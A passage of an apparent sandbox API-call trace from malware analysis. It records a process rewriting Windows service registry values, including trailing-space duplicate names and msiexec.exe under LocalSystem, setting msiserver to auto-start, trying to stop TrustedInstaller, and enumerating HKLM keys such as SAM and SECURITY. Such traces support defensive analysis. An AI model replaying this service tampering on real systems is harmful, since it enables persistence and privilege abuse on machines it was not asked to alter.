lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.441] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.441] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.441] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.441] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0249.442] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.442] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.443] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.443] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0249.443] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.443] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.444] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.444] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.445] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0249.445] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.445] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.446] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.446] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.446] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.446] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.446] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.446] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.446] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0249.446] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\msiexec.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\msiexec.exe" [0249.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0249.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0249.446] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0249.446] LocalFree (hMem=0x7e4b18) returned 0x0 [0249.446] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0249.446] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x2) returned 0x8038a0 [0249.447] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0249.448] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.448] RegCloseKey (hKey=0x154) returned 0x0 [0249.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0249.449] RegCloseKey (hKey=0x148) returned 0x0 [0249.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0249.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0249.449] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0249.449] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.449] GetLastError () returned 0x20 [0249.449] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0249.450] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0249.450] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0249.450] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x803990 [0249.450] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0249.450] GetLastError () returned 0x426 [0249.450] CloseServiceHandle (hSCObject=0x803990) returned 1 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0249.451] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.451] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.451] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0249.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", 